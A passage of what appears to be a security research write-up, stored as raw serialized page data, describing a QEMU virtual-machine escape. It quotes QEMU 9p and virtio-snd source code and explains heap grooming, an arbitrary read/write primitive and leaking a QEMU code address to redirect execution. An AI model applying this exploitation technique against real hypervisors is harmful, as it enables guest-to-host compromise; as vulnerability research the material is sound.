",{"type":20,"tag":315,"props":128569,"children":128570},{"style":334},[128571],{"type":26,"value":901},{"type":20,"tag":315,"props":128573,"children":128574},{"style":345},[128575],{"type":26,"value":128185},{"type":20,"tag":315,"props":128577,"children":128578},{"style":328},[128579],{"type":26,"value":128580},"(V9fsState ",{"type":20,"tag":315,"props":128582,"children":128583},{"style":334},[128584],{"type":26,"value":901},{"type":20,"tag":315,"props":128586,"children":128587},{"style":635},[128588],{"type":26,"value":9052},{"type":20,"tag":315,"props":128590,"children":128591},{"style":328},[128592],{"type":26,"value":44},{"type":20,"tag":315,"props":128594,"children":128595},{"style":541},[128596],{"type":26,"value":128597},"int32_t",{"type":20,"tag":315,"props":128599,"children":128600},{"style":635},[128601],{"type":26,"value":128602}," fid",{"type":20,"tag":315,"props":128604,"children":128605},{"style":328},[128606],{"type":26,"value":380},{"type":20,"tag":315,"props":128608,"children":128609},{"class":317,"line":2217},[128610],{"type":20,"tag":315,"props":128611,"children":128612},{"style":328},[128613],{"type":26,"value":723},{"type":20,"tag":315,"props":128615,"children":128616},{"class":317,"line":2225},[128617,128621,128625],{"type":20,"tag":315,"props":128618,"children":128619},{"style":328},[128620],{"type":26,"value":126349},{"type":20,"tag":315,"props":128622,"children":128623},{"style":334},[128624],{"type":26,"value":901},{"type":20,"tag":315,"props":128626,"children":128627},{"style":328},[128628],{"type":26,"value":49417},{"type":20,"tag":315,"props":128630,"children":128631},{"class":317,"line":2285},[128632],{"type":20,"tag":315,"props":128633,"children":128634},{"emptyLinePlaceholder":15},[128635],{"type":26,"value":427},{"type":20,"tag":315,"props":128637,"children":128638},{"class":317,"line":7444},[128639,128644,128648,128653,128657,128661,128665,128670,128674,128679],{"type":20,"tag":315,"props":128640,"children":128641},{"style":328},[128642],{"type":26,"value":128643}," f ",{"type":20,"tag":315,"props":128645,"children":128646},{"style":334},[128647],{"type":26,"value":337},{"type":20,"tag":315,"props":128649,"children":128650},{"style":345},[128651],{"type":26,"value":128652}," g_hash_table_lookup",{"type":20,"tag":315,"props":128654,"children":128655},{"style":328},[128656],{"type":26,"value":1049},{"type":20,"tag":315,"props":128658,"children":128659},{"style":635},[128660],{"type":26,"value":9052},{"type":20,"tag":315,"props":128662,"children":128663},{"style":328},[128664],{"type":26,"value":12158},{"type":20,"tag":315,"props":128666,"children":128667},{"style":635},[128668],{"type":26,"value":128669},"fids",{"type":20,"tag":315,"props":128671,"children":128672},{"style":328},[128673],{"type":26,"value":44},{"type":20,"tag":315,"props":128675,"children":128676},{"style":345},[128677],{"type":26,"value":128678},"GINT_TO_POINTER",{"type":20,"tag":315,"props":128680,"children":128681},{"style":328},[128682],{"type":26,"value":128683},"(fid));\n",{"type":20,"tag":315,"props":128685,"children":128686},{"class":317,"line":7462},[128687,128691],{"type":20,"tag":315,"props":128688,"children":128689},{"style":525},[128690],{"type":26,"value":10680},{"type":20,"tag":315,"props":128692,"children":128693},{"style":328},[128694],{"type":26,"value":128695}," (f) {\n",{"type":20,"tag":315,"props":128697,"children":128698},{"class":317,"line":7507},[128699],{"type":20,"tag":315,"props":128700,"children":128701},{"style":1071},[128702],{"type":26,"value":128703}," /* If fid is already there return NULL */\n",{"type":20,"tag":315,"props":128705,"children":128706},{"class":317,"line":7613},[128707,128712,128716,128720,128724,128729],{"type":20,"tag":315,"props":128708,"children":128709},{"style":345},[128710],{"type":26,"value":128711}," BUG_ON",{"type":20,"tag":315,"props":128713,"children":128714},{"style":328},[128715],{"type":26,"value":1049},{"type":20,"tag":315,"props":128717,"children":128718},{"style":635},[128719],{"type":26,"value":31499},{"type":20,"tag":315,"props":128721,"children":128722},{"style":328},[128723],{"type":26,"value":12158},{"type":20,"tag":315,"props":128725,"children":128726},{"style":635},[128727],{"type":26,"value":128728},"clunked",{"type":20,"tag":315,"props":128730,"children":128731},{"style":328},[128732],{"type":26,"value":2214},{"type":20,"tag":315,"props":128734,"children":128735},{"class":317,"line":21914},[128736,128740,128744],{"type":20,"tag":315,"props":128737,"children":128738},{"style":525},[128739],{"type":26,"value":14145},{"type":20,"tag":315,"props":128741,"children":128742},{"style":541},[128743],{"type":26,"value":126028},{"type":20,"tag":315,"props":128745,"children":128746},{"style":328},[128747],{"type":26,"value":1405},{"type":20,"tag":315,"props":128749,"children":128750},{"class":317,"line":21949},[128751],{"type":20,"tag":315,"props":128752,"children":128753},{"style":328},[128754],{"type":26,"value":1736},{"type":20,"tag":315,"props":128756,"children":128757},{"class":317,"line":21957},[128758,128762,128766,128771,128776,128780],{"type":20,"tag":315,"props":128759,"children":128760},{"style":328},[128761],{"type":26,"value":128643},{"type":20,"tag":315,"props":128763,"children":128764},{"style":334},[128765],{"type":26,"value":337},{"type":20,"tag":315,"props":128767,"children":128768},{"style":345},[128769],{"type":26,"value":128770}," g_new0",{"type":20,"tag":315,"props":128772,"children":128773},{"style":328},[128774],{"type":26,"value":128775},"(V9fsFidState, ",{"type":20,"tag":315,"props":128777,"children":128778},{"style":765},[128779],{"type":26,"value":2406},{"type":20,"tag":315,"props":128781,"children":128782},{"style":328},[128783],{"type":26,"value":2214},{"type":20,"tag":315,"props":128785,"children":128786},{"class":317,"line":21965},[128787],{"type":20,"tag":315,"props":128788,"children":128789},{"emptyLinePlaceholder":15},[128790],{"type":26,"value":427},{"type":20,"tag":315,"props":128792,"children":128793},{"class":317,"line":21974},[128794],{"type":20,"tag":315,"props":128795,"children":128796},{"style":328},[128797],{"type":26,"value":103059},{"type":20,"tag":29,"props":128799,"children":128800},{},[128801,128803,128808],{"type":26,"value":128802},"After it is allocated, it will be placed into that freed region in place of the old ",{"type":20,"tag":119,"props":128804,"children":128806},{"className":128805},[],[128807],{"type":26,"value":127603},{"type":26,"value":126940},{"type":20,"tag":305,"props":128810,"children":128812},{"code":128811}," .value Y extended\n |\n+--------------------+--------------------+\n| |\n| |\nv v\n+--------------------+---------------+----+\n| | |....|\n| .value Y | V9fsFidState |....|\n| | |....|\n+--------------------+---------------+----+\n",[128813],{"type":20,"tag":119,"props":128814,"children":128815},{"__ignoreMap":7},[128816],{"type":26,"value":128811},{"type":20,"tag":17297,"props":128818,"children":128820},{"id":128819},"leaking-a-qemu-address",[128821],{"type":26,"value":128822},"Leaking a QEMU Address",{"type":20,"tag":29,"props":128824,"children":128825},{},[128826],{"type":26,"value":128827},"We now have an arbitrary read/write primitive and a controlled chunk at a known address. The next step is to leak a QEMU code address so we can later redirect execution. To do this, we combine the arbitrary read primitive with the known-address chunk: we free that chunk, replace it with an object that contains pointers into QEMU's code or data, and then use arbitrary read to leak its fields.",{"type":20,"tag":29,"props":128829,"children":128830},{},[128831,128833,128838],{"type":26,"value":128832},"For this, we go back to virtio-snd and its buffer allocations. Recall ",{"type":20,"tag":119,"props":128834,"children":128836},{"className":128835},[],[128837],{"type":26,"value":122023},{"type":26,"value":2884},{"type":20,"tag":305,"props":128840,"children":128842},{"code":128841,"language":1528,"meta":7,"className":14916,"style":7},"static void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n VirtIOSound *vsnd = VIRTIO_SND(vdev);\n VirtIOSoundPCMBuffer *buffer;\n VirtQueueElement *elem;\n size_t msg_sz, size;\n uint32_t stream_id;\n\n [...]\n\n for (;;) {\n VirtIOSoundPCMStream *stream;\n\n elem = virtqueue_pop(vq, sizeof(VirtQueueElement));\n if (!elem) {\n break;\n }\n /* get the message hdr object */\n msg_sz = iov_to_buf(elem->out_sg,\n elem->out_num,\n 0,\n &hdr,\n sizeof(virtio_snd_pcm_xfer));\n if (msg_sz != sizeof(virtio_snd_pcm_xfer)) {\n goto rx_err;\n }\n stream_id = le32_to_cpu(hdr.stream_id);\n\n [...]\n\n WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n size = iov_size(elem->in_sg, elem->in_num) -\n sizeof(virtio_snd_pcm_status);\n buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size); // [1]\n buffer->elem = elem;\n buffer->vq = vq; // [2]\n buffer->size = 0;\n buffer->offset = 0;\n QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry);\n }\n",[128843],{"type":20,"tag":119,"props":128844,"children":128845},{"__ignoreMap":7},[128846,128889,128896,128927,128942,128957,128969,128982,128989,128996,129003,129014,129029,129036,129064,129083,129094,129101,129109,129146,129167,129179,129192,129205,129231,129243,129250,129288,129295,129302,129309,129340,129395,129407,129448,129471,129500,129527,129554,129586],{"type":20,"tag":315,"props":128847,"children":128848},{"class":317,"line":318},[128849,128853,128857,128861,128865,128869,128873,128877,128881,128885],{"type":20,"tag":315,"props":128850,"children":128851},{"style":541},[128852],{"type":26,"value":49296},{"type":20,"tag":315,"props":128854,"children":128855},{"style":541},[128856],{"type":26,"value":49301},{"type":20,"tag":315,"props":128858,"children":128859},{"style":345},[128860],{"type":26,"value":122102},{"type":20,"tag":315,"props":128862,"children":128863},{"style":328},[128864],{"type":26,"value":122107},{"type":20,"tag":315,"props":128866,"children":128867},{"style":334},[128868],{"type":26,"value":901},{"type":20,"tag":315,"props":128870,"children":128871},{"style":635},[128872],{"type":26,"value":122116},{"type":20,"tag":315,"props":128874,"children":128875},{"style":328},[128876],{"type":26,"value":122121},{"type":20,"tag":315,"props":128878,"children":128879},{"style":334},[128880],{"type":26,"value":901},{"type":20,"tag":315,"props":128882,"children":128883},{"style":635},[128884],{"type":26,"value":122130},{"type":20,"tag":315,"props":128886,"children":128887},{"style":328},[128888],{"type":26,"value":380},{"type":20,"tag":315,"props":128890,"children":128891},{"class":317,"line":356},[128892],{"type":20,"tag":315,"props":128893,"children":128894},{"style":328},[128895],{"type":26,"value":723},{"type":20,"tag":315,"props":128897,"children":128898},{"class":317,"line":365},[128899,128904,128908,128913,128917,128922],{"type":20,"tag":315,"props":128900,"children":128901},{"style":328},[128902],{"type":26,"value":128903}," VirtIOSound ",{"type":20,"tag":315,"props":128905,"children":128906},{"style":334},[128907],{"type":26,"value":901},{"type":20,"tag":315,"props":128909,"children":128910},{"style":328},[128911],{"type":26,"value":128912},"vsnd ",{"type":20,"tag":315,"props":128914,"children":128915},{"style":334},[128916],{"type":26,"value":337},{"type":20,"tag":315,"props":128918,"children":128919},{"style":345},[128920],{"type":26,"value":128921}," VIRTIO_SND",{"type":20,"tag":315,"props":128923,"children":128924},{"style":328},[128925],{"type":26,"value":128926},"(vdev);\n",{"type":20,"tag":315,"props":128928,"children":128929},{"class":317,"line":374},[128930,128934,128938],{"type":20,"tag":315,"props":128931,"children":128932},{"style":328},[128933],{"type":26,"value":123120},{"type":20,"tag":315,"props":128935,"children":128936},{"style":334},[128937],{"type":26,"value":901},{"type":20,"tag":315,"props":128939,"children":128940},{"style":328},[128941],{"type":26,"value":123129},{"type":20,"tag":315,"props":128943,"children":128944},{"class":317,"line":383},[128945,128949,128953],{"type":20,"tag":315,"props":128946,"children":128947},{"style":328},[128948],{"type":26,"value":122149},{"type":20,"tag":315,"props":128950,"children":128951},{"style":334},[128952],{"type":26,"value":901},{"type":20,"tag":315,"props":128954,"children":128955},{"style":328},[128956],{"type":26,"value":122158},{"type":20,"tag":315,"props":128958,"children":128959},{"class":317,"line":407},[128960,128964],{"type":20,"tag":315,"props":128961,"children":128962},{"style":541},[128963],{"type":26,"value":14966},{"type":20,"tag":315,"props":128965,"children":128966},{"style":328},[128967],{"type":26,"value":128968}," msg_sz, size;\n",{"type":20,"tag":315,"props":128970,"children":128971},{"class":317,"line":421},[128972,128977],{"type":20,"tag":315,"props":128973,"children":128974},{"style":541},[128975],{"type":26,"value":128976}," uint32_t",{"type":20,"tag":315,"props":128978,"children":128979},{"style":328},[128980],{"type":26,"value":128981}," stream_id;\n",{"type":20,"tag":315,"props":128983,"children":128984},{"class":317,"line":430},[128985],{"type":20,"tag":315,"props":128986,"children":128987},{"emptyLinePlaceholder":15},[128988],{"type":26,"value":427},{"type":20,"tag":315,"props":128990,"children":128991},{"class":317,"line":453},[128992],{"type":20,"tag":315,"props":128993,"children":128994},{"style":328},[128995],{"type":26,"value":103059},{"type":20,"tag":315,"props":128997,"children":128998},{"class":317,"line":486},[128999],{"type":20,"tag":315,"props":129000,"children":129001},{"emptyLinePlaceholder":15},[129002],{"type":26,"value":427},{"type":20,"tag":315,"props":129004,"children":129005},{"class":317,"line":499},[129006,129010],{"type":20,"tag":315,"props":129007,"children":129008},{"style":525},[129009],{"type":26,"value":1413},{"type":20,"tag":315,"props":129011,"children":129012},{"style":328},[129013],{"type":26,"value":122184},{"type":20,"tag":315,"props":129015,"children":129016},{"class":317,"line":513},[129017,129021,129025],{"type":20,"tag":315,"props":129018,"children":129019},{"style":328},[129020],{"type":26,"value":122192},{"type":20,"tag":315,"props":129022,"children":129023},{"style":334},[129024],{"type":26,"value":901},{"type":20,"tag":315,"props":129026,"children":129027},{"style":328},[129028],{"type":26,"value":122201},{"type":20,"tag":315,"props":129030,"children":129031},{"class":317,"line":521},[129032],{"type":20,"tag":315,"props":129033,"children":129034},{"emptyLinePlaceholder":15},[129035],{"type":26,"value":427},{"type":20,"tag":315,"props":129037,"children":129038},{"class":317,"line":552},[129039,129043,129047,129051,129055,129059],{"type":20,"tag":315,"props":129040,"children":129041},{"style":328},[129042],{"type":26,"value":122216},{"type":20,"tag":315,"props":129044,"children":129045},{"style":334},[129046],{"type":26,"value":337},{"type":20,"tag":315,"props":129048,"children":129049},{"style":345},[129050],{"type":26,"value":122225},{"type":20,"tag":315,"props":129052,"children":129053},{"style":328},[129054],{"type":26,"value":122230},{"type":20,"tag":315,"props":129056,"children":129057},{"style":541},[129058],{"type":26,"value":53580},{"type":20,"tag":315,"props":129060,"children":129061},{"style":328},[129062],{"type":26,"value":129063},"(VirtQueueElement));\n",{"type":20,"tag":315,"props":129065,"children":129066},{"class":317,"line":571},[129067,129071,129075,129079],{"type":20,"tag":315,"props":129068,"children":129069},{"style":525},[129070],{"type":26,"value":1654},{"type":20,"tag":315,"props":129072,"children":129073},{"style":328},[129074],{"type":26,"value":463},{"type":20,"tag":315,"props":129076,"children":129077},{"style":334},[129078],{"type":26,"value":19025},{"type":20,"tag":315,"props":129080,"children":129081},{"style":328},[129082],{"type":26,"value":122264},{"type":20,"tag":315,"props":129084,"children":129085},{"class":317,"line":2031},[129086,129090],{"type":20,"tag":315,"props":129087,"children":129088},{"style":525},[129089],{"type":26,"value":1680},{"type":20,"tag":315,"props":129091,"children":129092},{"style":328},[129093],{"type":26,"value":1405},{"type":20,"tag":315,"props":129095,"children":129096},{"class":317,"line":2053},[129097],{"type":20,"tag":315,"props":129098,"children":129099},{"style":328},[129100],{"type":26,"value":1728},{"type":20,"tag":315,"props":129102,"children":129103},{"class":317,"line":2061},[129104],{"type":20,"tag":315,"props":129105,"children":129106},{"style":1071},[129107],{"type":26,"value":129108}," /* get the message hdr object */\n",{"type":20,"tag":315,"props":129110,"children":129111},{"class":317,"line":2070},[129112,129117,129121,129126,129130,129134,129138,129142],{"type":20,"tag":315,"props":129113,"children":129114},{"style":328},[129115],{"type":26,"value":129116}," msg_sz ",{"type":20,"tag":315,"props":129118,"children":129119},{"style":334},[129120],{"type":26,"value":337},{"type":20,"tag":315,"props":129122,"children":129123},{"style":345},[129124],{"type":26,"value":129125}," iov_to_buf",{"type":20,"tag":315,"props":129127,"children":129128},{"style":328},[129129],{"type":26,"value":1049},{"type":20,"tag":315,"props":129131,"children":129132},{"style":635},[129133],{"type":26,"value":50316},{"type":20,"tag":315,"props":129135,"children":129136},{"style":328},[129137],{"type":26,"value":12158},{"type":20,"tag":315,"props":129139,"children":129140},{"style":635},[129141],{"type":26,"value":122668},{"type":20,"tag":315,"props":129143,"children":129144},{"style":328},[129145],{"type":26,"value":643},{"type":20,"tag":315,"props":129147,"children":129148},{"class":317,"line":2139},[129149,129154,129158,129163],{"type":20,"tag":315,"props":129150,"children":129151},{"style":635},[129152],{"type":26,"value":129153}," elem",{"type":20,"tag":315,"props":129155,"children":129156},{"style":328},[129157],{"type":26,"value":12158},{"type":20,"tag":315,"props":129159,"children":129160},{"style":635},[129161],{"type":26,"value":129162},"out_num",{"type":20,"tag":315,"props":129164,"children":129165},{"style":328},[129166],{"type":26,"value":643},{"type":20,"tag":315,"props":129168,"children":129169},{"class":317,"line":2147},[129170,129175],{"type":20,"tag":315,"props":129171,"children":129172},{"style":765},[129173],{"type":26,"value":129174}," 0",{"type":20,"tag":315,"props":129176,"children":129177},{"style":328},[129178],{"type":26,"value":643},{"type":20,"tag":315,"props":129180,"children":129181},{"class":317,"line":2177},[129182,129187],{"type":20,"tag":315,"props":129183,"children":129184},{"style":334},[129185],{"type":26,"value":129186}," &",{"type":20,"tag":315,"props":129188,"children":129189},{"style":328},[129190],{"type":26,"value":129191},"hdr,\n",{"type":20,"tag":315,"props":129193,"children":129194},{"class":317,"line":2185},[129195,129200],{"type":20,"tag":315,"props":129196,"children":129197},{"style":541},[129198],{"type":26,"value":129199}," sizeof",{"type":20,"tag":315,"props":129201,"children":129202},{"style":328},[129203],{"type":26,"value":129204},"(virtio_snd_pcm_xfer));\n",{"type":20,"tag":315,"props":129206,"children":129207},{"class":317,"line":2217},[129208,129212,129217,129221,129226],{"type":20,"tag":315,"props":129209,"children":129210},{"style":525},[129211],{"type":26,"value":1654},{"type":20,"tag":315,"props":129213,"children":129214},{"style":328},[129215],{"type":26,"value":129216}," (msg_sz ",{"type":20,"tag":315,"props":129218,"children":129219},{"style":334},[129220],{"type":26,"value":14089},{"type":20,"tag":315,"props":129222,"children":129223},{"style":541},[129224],{"type":26,"value":129225}," sizeof",{"type":20,"tag":315,"props":129227,"children":129228},{"style":328},[129229],{"type":26,"value":129230},"(virtio_snd_pcm_xfer)) {\n",{"type":20,"tag":315,"props":129232,"children":129233},{"class":317,"line":2225},[129234,129238],{"type":20,"tag":315,"props":129235,"children":129236},{"style":525},[129237],{"type":26,"value":58803},{"type":20,"tag":315,"props":129239,"children":129240},{"style":328},[129241],{"type":26,"value":129242}," rx_err;\n",{"type":20,"tag":315,"props":129244,"children":129245},{"class":317,"line":2285},[129246],{"type":20,"tag":315,"props":129247,"children":129248},{"style":328},[129249],{"type":26,"value":1728},{"type":20,"tag":315,"props":129251,"children":129252},{"class":317,"line":7444},[129253,129258,129262,129266,129270,129275,129279,129284],{"type":20,"tag":315,"props":129254,"children":129255},{"style":328},[129256],{"type":26,"value":129257}," stream_id ",{"type":20,"tag":315,"props":129259,"children":129260},{"style":334},[129261],{"type":26,"value":337},{"type":20,"tag":315,"props":129263,"children":129264},{"style":345},[129265],{"type":26,"value":124130},{"type":20,"tag":315,"props":129267,"children":129268},{"style":328},[129269],{"type":26,"value":1049},{"type":20,"tag":315,"props":129271,"children":129272},{"style":635},[129273],{"type":26,"value":129274},"hdr",{"type":20,"tag":315,"props":129276,"children":129277},{"style":328},[129278],{"type":26,"value":61},{"type":20,"tag":315,"props":129280,"children":129281},{"style":635},[129282],{"type":26,"value":129283},"stream_id",{"type":20,"tag":315,"props":129285,"children":129286},{"style":328},[129287],{"type":26,"value":2214},{"type":20,"tag":315,"props":129289,"children":129290},{"class":317,"line":7462},[129291],{"type":20,"tag":315,"props":129292,"children":129293},{"emptyLinePlaceholder":15},[129294],{"type":26,"value":427},{"type":20,"tag":315,"props":129296,"children":129297},{"class":317,"line":7507},[129298],{"type":20,"tag":315,"props":129299,"children":129300},{"style":328},[129301],{"type":26,"value":122297},{"type":20,"tag":315,"props":129303,"children":129304},{"class":317,"line":7613},[129305],{"type":20,"tag":315,"props":129306,"children":129307},{"emptyLinePlaceholder":15},[129308],{"type":26,"value":427},{"type":20,"tag":315,"props":129310,"children":129311},{"class":317,"line":21914},[129312,129316,129320,129324,129328,129332,129336],{"type":20,"tag":315,"props":129313,"children":129314},{"style":345},[129315],{"type":26,"value":122312},{"type":20,"tag":315,"props":129317,"children":129318},{"style":328},[129319],{"type":26,"value":1049},{"type":20,"tag":315,"props":129321,"children":129322},{"style":334},[129323],{"type":26,"value":1490},{"type":20,"tag":315,"props":129325,"children":129326},{"style":635},[129327],{"type":26,"value":34677},{"type":20,"tag":315,"props":129329,"children":129330},{"style":328},[129331],{"type":26,"value":12158},{"type":20,"tag":315,"props":129333,"children":129334},{"style":635},[129335],{"type":26,"value":122333},{"type":20,"tag":315,"props":129337,"children":129338},{"style":328},[129339],{"type":26,"value":549},{"type":20,"tag":315,"props":129341,"children":129342},{"class":317,"line":21949},[129343,129347,129351,129355,129359,129363,129367,129371,129375,129379,129383,129387,129391],{"type":20,"tag":315,"props":129344,"children":129345},{"style":328},[129346],{"type":26,"value":122345},{"type":20,"tag":315,"props":129348,"children":129349},{"style":334},[129350],{"type":26,"value":337},{"type":20,"tag":315,"props":129352,"children":129353},{"style":345},[129354],{"type":26,"value":122354},{"type":20,"tag":315,"props":129356,"children":129357},{"style":328},[129358],{"type":26,"value":1049},{"type":20,"tag":315,"props":129360,"children":129361},{"style":635},[129362],{"type":26,"value":50316},{"type":20,"tag":315,"props":129364,"children":129365},{"style":328},[129366],{"type":26,"value":12158},{"type":20,"tag":315,"props":129368,"children":129369},{"style":635},[129370],{"type":26,"value":122371},{"type":20,"tag":315,"props":129372,"children":129373},{"style":328},[129374],{"type":26,"value":44},{"type":20,"tag":315,"props":129376,"children":129377},{"style":635},[129378],{"type":26,"value":50316},{"type":20,"tag":315,"props":129380,"children":129381},{"style":328},[129382],{"type":26,"value":12158},{"type":20,"tag":315,"props":129384,"children":129385},{"style":635},[129386],{"type":26,"value":122388},{"type":20,"tag":315,"props":129388,"children":129389},{"style":328},[129390],{"type":26,"value":1468},{"type":20,"tag":315,"props":129392,"children":129393},{"style":334},[129394],{"type":26,"value":49113},{"type":20,"tag":315,"props":129396,"children":129397},{"class":317,"line":21957},[129398,129402],{"type":20,"tag":315,"props":129399,"children":129400},{"style":541},[129401],{"type":26,"value":122404},{"type":20,"tag":315,"props":129403,"children":129404},{"style":328},[129405],{"type":26,"value":129406},"(virtio_snd_pcm_status);\n",{"type":20,"tag":315,"props":129408,"children":129409},{"class":317,"line":21965},[129410,129414,129418,129422,129426,129430,129434,129438,129443],{"type":20,"tag":315,"props":129411,"children":129412},{"style":328},[129413],{"type":26,"value":122422},{"type":20,"tag":315,"props":129415,"children":129416},{"style":334},[129417],{"type":26,"value":337},{"type":20,"tag":315,"props":129419,"children":129420},{"style":345},[129421],{"type":26,"value":122431},{"type":20,"tag":315,"props":129423,"children":129424},{"style":328},[129425],{"type":26,"value":1049},{"type":20,"tag":315,"props":129427,"children":129428},{"style":541},[129429],{"type":26,"value":53580},{"type":20,"tag":315,"props":129431,"children":129432},{"style":328},[129433],{"type":26,"value":122444},{"type":20,"tag":315,"props":129435,"children":129436},{"style":334},[129437],{"type":26,"value":817},{"type":20,"tag":315,"props":129439,"children":129440},{"style":328},[129441],{"type":26,"value":129442}," size);",{"type":20,"tag":315,"props":129444,"children":129445},{"style":1071},[129446],{"type":26,"value":129447}," // [1]\n",{"type":20,"tag":315,"props":129449,"children":129450},{"class":317,"line":21974},[129451,129455,129459,129463,129467],{"type":20,"tag":315,"props":129452,"children":129453},{"style":635},[129454],{"type":26,"value":122461},{"type":20,"tag":315,"props":129456,"children":129457},{"style":328},[129458],{"type":26,"value":12158},{"type":20,"tag":315,"props":129460,"children":129461},{"style":635},[129462],{"type":26,"value":50316},{"type":20,"tag":315,"props":129464,"children":129465},{"style":334},[129466],{"type":26,"value":1395},{"type":20,"tag":315,"props":129468,"children":129469},{"style":328},[129470],{"type":26,"value":122478},{"type":20,"tag":315,"props":129472,"children":129473},{"class":317,"line":22016},[129474,129478,129482,129486,129490,129495],{"type":20,"tag":315,"props":129475,"children":129476},{"style":635},[129477],{"type":26,"value":122461},{"type":20,"tag":315,"props":129479,"children":129480},{"style":328},[129481],{"type":26,"value":12158},{"type":20,"tag":315,"props":129483,"children":129484},{"style":635},[129485],{"type":26,"value":122130},{"type":20,"tag":315,"props":129487,"children":129488},{"style":334},[129489],{"type":26,"value":1395},{"type":20,"tag":315,"props":129491,"children":129492},{"style":328},[129493],{"type":26,"value":129494}," vq;",{"type":20,"tag":315,"props":129496,"children":129497},{"style":1071},[129498],{"type":26,"value":129499}," // [2]\n",{"type":20,"tag":315,"props":129501,"children":129502},{"class":317,"line":22049},[129503,129507,129511,129515,129519,129523],{"type":20,"tag":315,"props":129504,"children":129505},{"style":635},[129506],{"type":26,"value":122461},{"type":20,"tag":315,"props":129508,"children":129509},{"style":328},[129510],{"type":26,"value":12158},{"type":20,"tag":315,"props":129512,"children":129513},{"style":635},[129514],{"type":26,"value":122518},{"type":20,"tag":315,"props":129516,"children":129517},{"style":334},[129518],{"type":26,"value":1395},{"type":20,"tag":315,"props":129520,"children":129521},{"style":765},[129522],{"type":26,"value":985},{"type":20,"tag":315,"props":129524,"children":129525},{"style":328},[129526],{"type":26,"value":1405},{"type":20,"tag":315,"props":129528,"children":129529},{"class":317,"line":22057},[129530,129534,129538,129542,129546,129550],{"type":20,"tag":315,"props":129531,"children":129532},{"style":635},[129533],{"type":26,"value":122461},{"type":20,"tag":315,"props":129535,"children":129536},{"style":328},[129537],{"type":26,"value":12158},{"type":20,"tag":315,"props":129539,"children":129540},{"style":635},[129541],{"type":26,"value":12302},{"type":20,"tag":315,"props":129543,"children":129544},{"style":334},[129545],{"type":26,"value":1395},{"type":20,"tag":315,"props":129547,"children":129548},{"style":765},[129549],{"type":26,"value":985},{"type":20,"tag":315,"props":129551,"children":129552},{"style":328},[129553],{"type":26,"value":1405},{"type":20,"tag":315,"props":129555,"children":129556},{"class":317,"line":22065},[129557,129561,129565,129569,129573,129577,129581],{"type":20,"tag":315,"props":129558,"children":129559},{"style":345},[129560],{"type":26,"value":122565},{"type":20,"tag":315,"props":129562,"children":129563},{"style":328},[129564],{"type":26,"value":1049},{"type":20,"tag":315,"props":129566,"children":129567},{"style":334},[129568],{"type":26,"value":1490},{"type":20,"tag":315,"props":129570,"children":129571},{"style":635},[129572],{"type":26,"value":34677},{"type":20,"tag":315,"props":129574,"children":129575},{"style":328},[129576],{"type":26,"value":12158},{"type":20,"tag":315,"props":129578,"children":129579},{"style":635},[129580],{"type":26,"value":122586},{"type":20,"tag":315,"props":129582,"children":129583},{"style":328},[129584],{"type":26,"value":129585},", buffer, entry);\n",{"type":20,"tag":315,"props":129587,"children":129588},{"class":317,"line":22074},[129589],{"type":20,"tag":315,"props":129590,"children":129591},{"style":328},[129592],{"type":26,"value":1728},{"type":20,"tag":29,"props":129594,"children":129595},{},[129596,129597,129602,129604,129609,129611,129616,129618,129624],{"type":26,"value":122640},{"type":20,"tag":119,"props":129598,"children":129600},{"className":129599},[],[129601],{"type":26,"value":122646},{"type":26,"value":129603},", QEMU allocates a ",{"type":20,"tag":119,"props":129605,"children":129607},{"className":129606},[],[129608],{"type":26,"value":122783},{"type":26,"value":129610}," whose size depends on the guest-provided iovec, and at ",{"type":20,"tag":119,"props":129612,"children":129614},{"className":129613},[],[129615],{"type":26,"value":122681},{"type":26,"value":129617}," it stores the ",{"type":20,"tag":119,"props":129619,"children":129621},{"className":129620},[],[129622],{"type":26,"value":129623},"VirtQueue *vq",{"type":26,"value":129625}," pointer into the buffer.",{"type":20,"tag":29,"props":129627,"children":129628},{},[129629,129630,129636],{"type":26,"value":62471},{"type":20,"tag":119,"props":129631,"children":129633},{"className":129632},[],[129634],{"type":26,"value":129635},"VirtQueue",{"type":26,"value":129637}," structure contains some useful fields:",{"type":20,"tag":305,"props":129639,"children":129641},{"code":129640,"language":1528,"meta":7,"className":14916,"style":7},"struct VirtQueue\n{\n [...]\n\n VirtIOHandleOutput handle_output;\n VirtIODevice *vdev;\n\n [...]\n};\n",[129642],{"type":20,"tag":119,"props":129643,"children":129644},{"__ignoreMap":7},[129645,129657,129664,129671,129678,129686,129703,129710,129717],{"type":20,"tag":315,"props":129646,"children":129647},{"class":317,"line":318},[129648,129652],{"type":20,"tag":315,"props":129649,"children":129650},{"style":541},[129651],{"type":26,"value":7800},{"type":20,"tag":315,"props":129653,"children":129654},{"style":328},[129655],{"type":26,"value":129656}," VirtQueue\n",{"type":20,"tag":315,"props":129658,"children":129659},{"class":317,"line":356},[129660],{"type":20,"tag":315,"props":129661,"children":129662},{"style":328},[129663],{"type":26,"value":723},{"type":20,"tag":315,"props":129665,"children":129666},{"class":317,"line":365},[129667],{"type":20,"tag":315,"props":129668,"children":129669},{"style":328},[129670],{"type":26,"value":103059},{"type":20,"tag":315,"props":129672,"children":129673},{"class":317,"line":374},[129674],{"type":20,"tag":315,"props":129675,"children":129676},{"emptyLinePlaceholder":15},[129677],{"type":26,"value":427},{"type":20,"tag":315,"props":129679,"children":129680},{"class":317,"line":383},[129681],{"type":20,"tag":315,"props":129682,"children":129683},{"style":328},[129684],{"type":26,"value":129685}," VirtIOHandleOutput handle_output;\n",{"type":20,"tag":315,"props":129687,"children":129688},{"class":317,"line":407},[129689,129694,129698],{"type":20,"tag":315,"props":129690,"children":129691},{"style":328},[129692],{"type":26,"value":129693}," VirtIODevice 